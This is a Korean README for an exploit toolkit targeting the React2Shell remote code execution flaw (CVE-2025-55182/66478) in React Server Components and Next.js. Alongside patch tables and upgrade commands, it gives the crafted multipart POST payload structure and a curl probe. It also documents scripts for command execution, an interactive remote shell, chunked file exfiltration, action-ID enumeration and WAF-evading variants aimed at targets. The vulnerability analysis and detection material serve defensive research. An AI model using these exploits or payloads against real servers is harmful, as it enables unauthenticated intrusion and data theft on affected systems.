
React Server Components의 CVE-2025-55182 및 CVE-2025-66478을 위한 RCE 익스플로잇 툴킷입니다. 여러 익스플로잇 변형, 탐지 스크립트, 취약한 테스트 서버 및 Flight 프로토콜 역직렬화 취약점에 대한 심층 기술 분석을 포함합니다.
CVE-2025-55182 (React) 및 CVE-2025-66478 (Next.js)
이 저장소는 승인된 보안 테스트 및 교육 목적으로만 사용되는 익스플로잇 코드를 포함하고 있습니다.
참고: 여러 연구자들이 이 취약점에 대한 분석을 발표했습니다. 추가 관점, 익스플로잇 기법 및 탐지 방법은 참고 자료 섹션을 확인하세요.
2025년 12월 3일 수요일, React Server Components에서 심각한 원격 코드 실행(RCE) 취약점이 공개적으로 공개되었습니다. "React2Shell"이라는 이름이 붙은 이 버그는 인증되지 않은 공격자가 단일 HTTP 요청을 보내 취약한 버전의 React RSC 또는 Next.js App Router를 실행하는 모든 서버에서 임의의 코드를 실행할 수 있도록 합니다.
Next.js가 현대 웹의 상당 부분을 차지할 정도로 보편화되었기 때문에, 이 취약점의 영향은 심각합니다. App Router(Next.js 13 이후 새 프로젝트의 기본값)를 사용하고 RSC가 활성화된 모든 Next.js 애플리케이션이 취약합니다. 특별한 설정이 필요하지 않습니다. 특정 엔드포인트도 필요하지 않습니다. 모든 경로에 POST 요청만 보내면 됩니다.
취약점은 React의 "Flight" 프로토콜, 즉 React Server Components에서 서버와 클라이언트 간에 데이터를 전달하는 데 사용되는 직렬화 형식에 존재합니다. 역직렬화 중 hasOwnProperty 검사가 누락되어 프로토타입 체인을 탐색할 수 있게 되고, 궁극적으로 JavaScript Function 생성자에 도달하여 공격자가 제어하는 코드를 실행할 수 있습니다.
이 결함은 React의 react-server-dom-webpack, react-server-dom-turbopack 및 react-server-dom-parcel 패키지에 존재합니다. 지배적인 RSC 소비자인 Next.js는 App Router를 통해 이 취약점을 상속합니다.
많은 서비스가 잠재적으로 취약합니다. Next.js는 가장 인기 있는 React 프레임워크 중 하나이며, 스타트업부터 대기업까지 모든 규모의 회사에서 사용합니다. React Server Components를 사용하는 App Router는 Next.js 13부터 새 Next.js 프로젝트의 기본 아키텍처였으므로, 대부분의 최신 Next.js 배포가 영향을 받습니다.
다음을 사용하는 모든 애플리케이션:
react-server-dom-* 패키지(19.0.0 - 19.2.0)를 사용하는 React Server Components여기에는 Vercel, AWS, 자체 호스팅 인프라 및 Next.js App Router 애플리케이션이 실행되는 모든 곳의 프로덕션 배포가 포함됩니다.
영향을 받지 않음:
process.mainModule 없음)| 패키지 | 취약한 버전 | 패치된 버전 |
|---|---|---|
react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| 버전 라인 | 취약한 버전 | 패치된 버전 |
|---|---|---|
| 15.0.x | < 15.0.5 | 15.0.5+ |
| 15.1.x | < 15.1.9 | 15.1.9+ |
| 15.2.x | < 15.2.6 | 15.2.6+ |
| 15.3.x | < 15.3.6 | 15.3.6+ |
| 15.4.x | < 15.4.8 | 15.4.8+ |
| 15.5.x | < 15.5.7 | 15.5.7+ |
| 16.0.x | < 16.0.7 | 16.0.7+ |
즉시 업그레이드하세요. 우회 방법은 없습니다.
Next.js 애플리케이션의 경우:
npm install next@latest
# 또는
pnpm update next
직접 React RSC를 사용하는 경우:
npm install react-server-dom-webpack@latest
설치된 버전을 확인하세요:
npm ls next react-server-dom-webpack react-server-dom-turbopack
이 취약점에 대해 여러 공격 벡터가 발견되었습니다. 가장 일반적이고 전제 조건 없이 작동하는 것은 React의 Flight 프로토콜 참조 시스템을 통한 프로토타입 오염을 사용합니다.
익스플로잇은 Next-Action 헤더와 함께 조작된 multipart POST 요청을 보냅니다. 페이로드는 참조 시스템을 악용하여 다음을 수행합니다:
$1:__proto__:then을 통해 프로토타입 체인 탐색Function 생성자를 호출하도록 속임POST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary--
코드는 역직렬화 중에 실행되며, 액션 ID 유효성 검사보다 먼저 발생합니다. 즉, 모든 Next-Action 헤더 값이 취약한 코드 경로를 트리거합니다. 유효한 액션 ID가 필요하지 않습니다.
다른 공격 벡터도 존재하며, 여기에는
$F함수 참조 및 직접 모듈 가젯이 포함됩니다. 이러한 경우 일반적으로 유효한 액션 ID가 필요합니다. 자세한 내용은 대체 공격 벡터를 참조하세요.
React의 Flight 프로토콜은 $1:path:to:value와 같은 참조를 콜론으로 분할하고 객체를 탐색하여 해결합니다:
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // No hasOwnProperty check!
}
아이러니: 이 파일의 맨 위, 35번째 줄:
import hasOwnProperty from 'shared/hasOwnProperty';가드가 임포트되었습니다. 사용 가능했습니다. 가장 중요한 루프에서만 사용되지 않았습니다.
이 단일 누락된 검사로 인해 $1:__proto__:then이 청크 객체에서 프로토타입 체인을 따라 Chunk.prototype.then까지 도달할 수 있습니다. 이 함수는 Promise와 유사한 객체를 처리합니다. 올바른 속성으로 가짜 청크를 조작하여 실행될 코드를 제어할 수 있습니다.
취약한 테스트 서버를 클론하세요:
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev
다른 터미널에서:
./detect.sh http://localhost:3443
취약한 서버는 HTTP 500과 응답 본문에 E{"digest"를 반환합니다. RCE를 시연하려면:
./exploit-redirect.sh http://localhost:3443 "id"
명령 출력이 응답에 나타납니다. 대화형 탐색의 경우:
./shell.sh http://localhost:3443
vulnerable-next-server/ 디렉토리에는 안전한 로컬 테스트를 위해 사전 구성된 Next.js 16.0.6 + React 19.2.0 애플리케이션이 포함되어 있습니다. 기본적으로 포트 3443에서 실행됩니다. 기본 설정이 취약함을 보여주는 최소한의 App Router 설정입니다.
다양한 시나리오를 처리하기 위해 여러 익스플로잇 변형을 개발했습니다:
| 스크립트 | HTTP | 출력 | 프로덕션 | 참고 |
|---|---|---|---|---|
exploit-redirect.sh | 303 | x-action-redirect 헤더 | 예 | 권장. 전제 조건 없음. |
exploit-throw.sh | 500 | 오류 응답 본문 | 아니요 | 개발 모드 전용(프로덕션에서는 오류가 정리됨). |
exploit-blind.sh | 200 | 서버 측만 | 예 | 발사 후 망각. OOB 유출에 사용. |
exploit-urlencoded.sh | 303 | x-action-redirect 헤더 | 예 | 다른 WAF 서명. 액션 ID 필요. |
exploit-reflect.sh | 200 | 응답 본문 | 예 | 가장 은밀함. 액션 ID 필요. |
프로덕션 참고: React는 프로덕션 빌드에서 오류 메시지를 제거하여
throw메서드를 손상시킵니다.exploit-redirect.sh만이 프로덕션에서 전제 조건 없이 명령 출력을 안정적으로 캡처합니다. 리디렉션 URL은 오류의digest속성(메타데이터)에 저장되며, 이는 삭제되지 않습니다. 반면message는{digest: "..."}만 됩니다.
유틸리티 스크립트:
detect.sh - 비파괴 취약점 프로브(코드 실행 없음)enumerate-actions.sh - 대상 HTML에서 유효한 서버 액션 ID 검색exfil-file.sh - 청크 파일 유출(대용량 파일 자동 처리)shell.sh - RCE를 통한 대화형 유사 셸리디렉션 방법은 프로덕션에서 작동하고, 전제 조건이 필요 없으며, 명령 출력을 직접 반환하므로 권장됩니다. 특별히 조작된 NEXT_REDIRECT 오류를 throw하여 작동합니다. 출력은 base64로 인코딩되어 리디렉션 URL에 포함되고 x-action-redirect 헤더에 반환됩니다.
각 스크립트의 자세한 사용법은 USAGE.md 를 참조하세요.
./detect.sh https://target.com
이는 임의 코드를 실행하지 않고 취약한 코드 경로를 트리거하는 최소 프로브를 보냅니다.
취약한 서버 응답:
text/x-componentE{"digest"패치되었거나 RSC가 아닌 서버: 404 반환, 다른 오류 형식, 또는 Flight 프로토콜 응답 없음.
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["$1:a:a"]\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n{}\r\n------Boundary--'
이 프로브는 빈 객체에서 존재하지 않는 속성을 참조합니다. 취약한 서버는 {}.a.a에 접근하려고 시도하여 충돌하고 500을 반환합니다. 패치된 서버에는 충돌을 방지하는 hasOwnProperty 가드가 있습니다.
다음 지표를 찾으세요:
0:, 1: 등)를 포함하는 <script> 태그x-nextjs-cache 또는 x-nextjs-matched-path 헤더/_next/ 정적 자산 경로$ACTION_ID_ 패턴다음 다이어그램은 단일 HTTP 요청이 어떻게 원격 코드 실행을 달성하는지 보여줍니다:
sequenceDiagram
participant A as 공격자
participant N as Next.js
participant F as Flight 파서
participant JS as JS 엔진
A->>N: Next-Action 헤더 + 악성 페이로드로 POST
N->>F: multipart 폼 데이터 파싱
F->>JS: await getRoot - 청크를 thenable로 반환
rect rgb(80, 20, 20)
Note over F,JS: 취약점 - hasOwnProperty 검사 없음
JS->>F: chunk.then이 $1:__proto__:then을 파싱
F-->>F: Chunk.prototype.then으로 이동
end
F->>JS: resolve(attackerObject)
Note over JS: JS Promise 스펙: resolve(thenable)<br/>thenable.then() 호출
JS->>F: fakeChunk.then() with 공격자의 _response